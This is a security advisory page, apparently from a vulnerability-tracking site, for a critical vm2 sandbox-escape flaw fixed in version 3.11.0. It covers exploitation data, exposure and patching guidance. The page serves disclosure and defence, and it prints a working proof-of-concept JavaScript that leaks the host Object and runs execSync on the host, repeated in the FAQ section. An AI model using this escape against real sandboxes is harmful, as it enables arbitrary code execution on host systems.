# CVE-2026-43997: vm2 RCE — Fixed in 3.11.0

📦

📦 npm

Not in CISA KEV

CRITICAL severity

# CVE-2026-43997 — vm2

CRITICAL 

CVE-2026-43997 is a critical-severity (CVSS 10) Code Injection vulnerability in vm2. A fix is available for vm2 — see the affected versions and patch details below.

vm2: Sandbox Escape

Also known as[GHSA-47x8-96vw-5wg6](/vulnerability/GHSA-47x8-96vw-5wg6)

Published

May 13, 2026

Updated

Oct 28, 2026

Affected

1 pkg

Patched

1 / 1

Exploits

None indexed

Exploitation data as of Nov 10, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

## Exploitation Status

### Proof-of-concept exploit code exists

-   CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
-   CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
-   A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-43997.

## EPSS Exploitation Probability

[via FIRST.org ↗](https://www.first.org/epss/)

1.0%probability of exploitation in next 30 days

Lower Risk0.00%

Lower risk than most CVEs62th percentile — riskier than 62% of all scored CVEsHighest risk

0.00%0.49%0.98%1.48%0.0%1.0%Jun 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from [FIRST.org EPSS](https://www.first.org/epss/).

## How urgent is this, really

## Where this sits among everything scored

## Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

898other npm packages depend on this — each one inherits the vulnerability until it's patched upstream

`vm2`npm

1.3Mdownloads / week

## Description

#### Summary

It is possible to obtain the host `Object`, [https://github.com/patriksimek/vm2/commit/ebcfe94ad2f864f0bc35e78cff1d921107cfd160](https://github.com/patriksimek/vm2/commit/ebcfe94ad2f864f0bc35e78cff1d921107cfd160) added some protections, but the implementation is incomplete.

#### Details

There are various ways to use the host `Object`, to escape the sandbox, one example would be using `HostObject.getOwnPropertySymbols` to obtain `Symbol(nodejs.util.inspect.custom)`

#### PoC

```
const g = {}.__lookupGetter__;
const a = Buffer.apply;
const p = a.apply(g, [Buffer, ['__proto__']]);
const o = p.call(p.call(a));
const HObject = o.constructor;
sym = HObject.getOwnPropertySymbols(Buffer.prototype).at(0);

const obj = {
	[sym]: (depth, opt, inspect) => {
		inspect.constructor("return process.getBuiltinModule('child_process').execSync('ls',{stdio:'inherit'})")();
	},
	valueOf: undefined,
	constructor: undefined,
};

WebAssembly.compileStreaming(obj).catch(() => {});
```

#### Impact

Sandbox Escape -> RCE

## Affected Packages

1 total 1 fixed

Ecosystem

Package

Vulnerable range

Fix

📦npm

`vm2` 

all versions

3.11.0`npm install vm2@3.11.0`

## Affected Products

1 product · 1 configurations

Application

`vm2`vm2\_project

< 3.11.0

range

## Detection & mitigation playbook

Open-source dependency

1.  ### Detect
    
    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for vm2, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
    
2.  ### Fix
    
    Update vm2 to 3.11.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-43997 is resolved across your whole dependency graph.
    
3.  ### Workarounds
    
    Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.
    

## Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Red HatImportant

vm2 is vulnerable to sandbox escape via host Object leakage in the VM bridge. A remote unauthenticated attacker who can submit code to a vm2 sandbox may obtain host-realm objects and execute arbitrary code on the host process. Fixed in vm2 3.11.0.

Product

Fixed in

Advisory

Red Hat Ansible Automation Platform 2.1

`ansible-automation-platform/automation-portal:1785854226`

[RHSA-2026:50850](https://access.redhat.com/errata/RHSA-2026:50850)

## Frequently Asked Questions

\### Summary It is possible to obtain the host \`Object\`, https://github.com/patriksimek/vm2/commit/ebcfe94ad2f864f0bc35e78cff1d921107cfd160 added some protections, but the implementation is incomplete. ### Details There are various ways to use the host \`Object\`, to escape the sandbox, one example would be using \`HostObject.getOwnPropertySymbols\` to obtain \`Symbol(nodejs.util.inspect.custom)\` ### PoC \`\`\`js const g = {}.\_\_lookupGetter\_\_; const a = Buffer.apply; const p = a.apply(g, \[Buffer, \['\_\_proto\_\_'\]\]); const o = p.call(p.call(a)); const HObject = o.constructor; sym = HObject.getOwnProp

O3 Security · Impact-Aware SCA

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